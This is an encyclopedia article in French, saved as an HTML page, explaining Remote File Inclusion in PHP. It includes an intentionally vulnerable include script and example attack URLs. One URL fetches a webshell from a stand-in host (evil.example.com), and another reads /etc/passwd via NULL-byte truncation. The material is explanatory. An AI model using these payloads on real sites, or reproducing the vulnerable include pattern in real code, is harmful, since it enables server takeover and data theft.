Micron Document
<!DOCTYPE html>
<html class="client-nojs vector-feature-language-in-header-enabled vector-feature-language-in-main-page-header-disabled vector-feature-page-tools-pinned-disabled vector-feature-toc-pinned-clientpref-0 vector-toc-not-available vector-feature-main-menu-pinned-disabled vector-feature-limited-width-clientpref-1 vector-feature-limited-width-content-enabled vector-feature-custom-font-size-clientpref-1 vector-feature-appearance-pinned-clientpref-0 vector-feature-night-mode-enabled skin-theme-clientpref-os vector-sticky-header-enabled" lang="fr" dir="ltr"><head>
<meta charset="UTF-8">
<title>Remote File Inclusion</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" type="image/png" href="./_res_/favicon.png">
<link rel="canonical" href="https://fr.wikipedia.org/wiki/Remote_File_Inclusion"> <link href="./_mw_/ext.pygments.css" rel="stylesheet" type="text/css">
<link href="./_mw_/ext.wikimediamessages.styles.css" rel="stylesheet" type="text/css">
<link href="./_mw_/skins.vector.icons.css" rel="stylesheet" type="text/css">
<link href="./_mw_/skins.vector.search.codex.styles.css" rel="stylesheet" type="text/css">
<link href="./_mw_/skins.vector.styles.css" rel="stylesheet" type="text/css">
<meta name="ResourceLoaderDynamicStyles" content="">
<link rel="stylesheet" type="text/css" href="./_mw_/site.styles.css">
<link rel="stylesheet" type="text/css" href="./_mw_/noscript.css">
<link rel="stylesheet" type="text/css" href="./_res_/footer.css">
<link rel="stylesheet" type="text/css" href="./_res_/vector-2022.css">
</head>
<body class="skin--responsive skin-vector skin-vector-search-vue mediawiki ltr sitedir-ltr mw-hide-empty-elt ns-0 ns-subject page-Remote_File_Inclusion rootpage-Remote_File_Inclusion skin-vector-2022 action-view">
<div class="mw-page-container">
<div class="mw-page-container-inner">
<div class="mw-content-container">
<main id="content" class="mw-body">
<header class="mw-body-header vector-page-titlebar">
<h1 id="firstHeading" class="firstHeading mw-first-heading"><span class="mw-page-title-main">Remote File Inclusion</span></h1>
</header>
<a id="top"></a>
<div id="bodyContent" class="vector-body ve-init-mw-desktopArticleTarget-targetContainer" aria-labelledby="firstHeading" data-mw-ve-target-container="">
<div id="contentSub">
<div id="mw-content-subtitle"></div>
</div>
<div id="mw-content-text" class="mw-body-content mw-content-ltr" lang="fr" dir="ltr"><div class="mw-content-ltr mw-parser-output" lang="fr" dir="ltr">
<p><b>Remote File Inclusion</b> (<b>RFI</b>) est un type de vulnérabilité trouvé le plus souvent sur des <a href="Site_web" title="Site web">sites web</a>. Il permet à un attaquant d'inclure un fichier distant, généralement par le biais d'un script sur le serveur web. La vulnérabilité est due à l'utilisation de l'entrée fournie par l'utilisateur sans validation adéquate. Elle peut conduire à&nbsp;:
</p>
<ul><li>l'exécution de code sur le <a href="Serveur_web" title="Serveur web">serveur web</a></li>
<li>l'exécution de code sur le côté client comme le <a href="JavaScript" title="JavaScript">JavaScript</a> qui peut conduire à d'autres attaques comme le <a href="Cross-site_scripting" title="Cross-site scripting">cross-site scripting</a> (XSS)</li>
<li>le <a href="Attaque_par_d%C3%A9ni_de_service" title="Attaque par déni de service">déni de service</a> (DoS)</li>
<li>le vol de données / manipulation</li></ul>

<div class="mw-heading mw-heading2"><h2 id="Les_langages_de_programmation">Les langages de programmation</h2></div>
<p>Les attaques RFI peuvent se produire avec n'importe quel <a href="Langage_de_script" title="Langage de script">langage de script</a> (ASP, JSP, PHP...).
</p>
<div class="mw-heading mw-heading3"><h3 id="Exemple_en_PHP">Exemple en PHP</h3></div>
<p>En <a href="PHP" title="PHP">PHP</a>, la cause principale est due à l'utilisation de <a href="Variable_(informatique)" title="Variable (informatique)">variables</a> externes non validées tels que $_GET, $_POST, $_COOKIE avec une fonction liée à un fichier. Les plus utilisés sont les fonctions d'include et de require. La plupart des vulnérabilités peuvent être attribuées aux programmeurs débutants n'étant pas au courant de toutes les fonctionnalités du <a href="Langage_de_programmation" title="Langage de programmation">langage de programmation</a> PHP. Le langage PHP a une directive allow_url_fopen. Si elle est activée, elle permet aux fonctions de fichiers d'utiliser une URL qui leur permet de récupérer des données à partir d'emplacements distants. Un attaquant va modifier une variable qui est transmise à l'une de ces fonctions pour l'amener à inclure du code malveillant à partir d'une ressource distante. Pour atténuer cette vulnérabilité, toutes les entrées utilisateur doivent être validées avant d'être utilisées.
</p>
<div class="mw-heading mw-heading4"><h4 id="Exemple">Exemple</h4></div>
<p>Considérons ce script PHP qui inclut un fichier spécifié par requête&nbsp;:
</p>
<div class="mw-highlight mw-highlight-lang-php mw-content-ltr" dir="ltr"><pre><span></span><span class="cp">&lt;?php</span>
<span class="nv">$color</span> <span class="o">=</span> <span class="s1">'blue'</span><span class="p">;</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">isset</span><span class="p">(</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'COLOR'</span><span class="p">]</span> <span class="p">)</span> <span class="p">)</span>
<span class="nv">$color</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'COLOR'</span><span class="p">];</span>
<span class="k">include</span><span class="p">(</span> <span class="nv">$color</span> <span class="o">.</span> <span class="s1">'.php'</span> <span class="p">);</span>
<span class="cp">?&gt;</span>
</pre></div>
<div class="mw-highlight mw-highlight-lang-xml mw-content-ltr" dir="ltr"><pre><span></span><span class="nt">&lt;form</span><span class="w"> </span><span class="na">method=</span><span class="s">"get"</span><span class="nt">&gt;</span>
<span class="w"> </span><span class="nt">&lt;select</span><span class="w"> </span><span class="na">name=</span><span class="s">"COLOR"</span><span class="nt">&gt;</span>
<span class="w"> </span><span class="nt">&lt;option</span><span class="w"> </span><span class="na">value=</span><span class="s">"red"</span><span class="nt">&gt;</span>red<span class="nt">&lt;/option&gt;</span>
<span class="w"> </span><span class="nt">&lt;option</span><span class="w"> </span><span class="na">value=</span><span class="s">"blue"</span><span class="nt">&gt;</span>blue<span class="nt">&lt;/option&gt;</span>
<span class="w"> </span><span class="nt">&lt;/select&gt;</span>
<span class="w"> </span><span class="nt">&lt;input</span><span class="w"> </span><span class="na">type=</span><span class="s">"submit"</span><span class="nt">&gt;</span>
<span class="nt">&lt;/form&gt;</span>
</pre></div>
<p>Le <a href="D%C3%A9veloppeur" title="Développeur">développeur</a> rend utilisable uniquement blue.php et red.php pour être utilisé comme options. Mais comme tout le monde peut facilement insérer des valeurs arbitraires en couleur, il est possible d'injecter du code à partir de fichiers&nbsp;:
</p>
<ul><li><code>/vulnerable.php?COLOR=<b>http://evil.example.com/webshell.txt?</b></code> - Injecte un fichier hébergé à distance contenant du code malveillant.</li>
<li><code>/vulnerable.php?COLOR=<b>C:\\ftp\\upload\\exploit</b></code> - Exécute le code à partir d'un fichier déjà téléchargé appelé exploit.php (vulnérabilité d'inclusion de fichiers en local)</li>
<li><code>/vulnerable.php?COLOR=<b>C:\\notes.txt%00</b></code> - Par exemple en utilisant le caractère méta <a href="NULL" class="mw-redirect" title="NULL">NULL</a> pour enlever le suffixe php, permettant l'accès à des fichiers autres que php... (Avec magic_quotes_gpc activée, elle limite l'attaque par l'échappement des caractères spéciaux, cela désactive l'utilisation de la terminaison NULL)</li>
<li><code>/vulnerable.php?COLOR=<b>/etc/passwd%00</b></code> - Permet à un attaquant de lire le contenu du fichier <a href="Passwd" title="Passwd">passwd</a> sur un système <a href="UNIX" class="mw-redirect" title="UNIX">UNIX</a>.</li></ul>
<div class="mw-heading mw-heading2"><h2 id="LFI">LFI</h2></div>
<p>Une attaque <i>Local File Inclusion</i> est semblable, mais n'a recours qu'à l'exécution de fichiers locaux et non pas distants.
</p>
<ul id="bandeau-portail" class="bandeau-portail"><li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><span class="noviewer" typeof="mw:File"></span></span> <span class="bandeau-portail-texte">Portail de la sécurité des systèmes d'information</span> </span></li> <li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><span class="noviewer" typeof="mw:File"></span></span> <span class="bandeau-portail-texte">Portail d’Internet</span> </span></li> </ul></div><!--htdig_noindex--><div><div class="zim-footer">
Cet article est issu de <a class="external text" title="Dernière modification le 2025-10-16" href="https://fr.wikipedia.org/wiki/?title=Remote_File_Inclusion&amp;oldid=229817059">Wikipédia</a>. Sauf mention contraire, le texte est disponible sous <a class="external text" href="https://creativecommons.org/licenses/by-sa/4.0/deed.fr">Creative Commons Attribution-Share Alike 4.0</a>. Des conditions supplémentaires peuvent s’appliquer aux fichiers multimédias.
</div>
</div><!--/htdig_noindex--></div>
</div>
</main>
</div>
</div>
</div>
<script src="./_webp_/webpHandler.js"></script>

</body></html>